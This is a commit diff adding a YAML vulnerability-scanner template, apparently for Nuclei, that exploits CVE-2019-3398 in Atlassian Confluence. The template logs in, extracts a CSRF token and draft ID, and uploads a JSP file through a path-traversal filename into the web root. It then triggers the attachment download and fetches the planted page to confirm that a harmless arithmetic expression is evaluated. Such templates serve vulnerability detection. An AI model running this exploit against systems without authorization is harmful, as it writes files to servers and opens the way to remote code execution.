Create CVE-2019-3398.yaml

http/cves/2019/CVE-2019-3398.yaml

@@ -0,0 +1,71 @@
+id: CVE-2019-3398
+
+info:
+  name: Atlassian Confluence Download Attachments - Remote Code Execution
+  author: rootxharsh,iamnoooob,pdresearch
+  severity: high
+  description: |
+    Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
+  reference:
+    - https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-3398
+  tags: cve,cve2019,atlassian,confluence,rce,authenticated,intrusive
+
+variables:
+  num1: "{{rand_int(800000, 999999)}}"
+  num2: "{{rand_int(800000, 999999)}}"
+  result: "{{to_number(num1)*to_number(num2)}}"
+
+http:
+  - raw:
+      - |
+        POST /dologin.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=
+
+      - |
+        GET /pages/createpage.action HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1
+        Host: {{Hostname}}
+
+        ${{{num1}}*{{num2}}}
+
+      - |
+        GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /pages/{{randstr}}.jsp HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    host-redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_5
+        words:
+          - "{{result}}"
+
+    extractors:
+      - type: regex
+        part: body
+        name: csrftoken
+        internal: true
+        group: 1
+        regex:
+          - 'name="atlassian\-token" content="([a-z0-9]+)"> '
+
+      - type: regex
+        part: body
+        name: draftID
+        internal: true
+        group: 1
+        regex:
+          - 'ta name="ajs\-draft\-id" content="([0-9]+)">'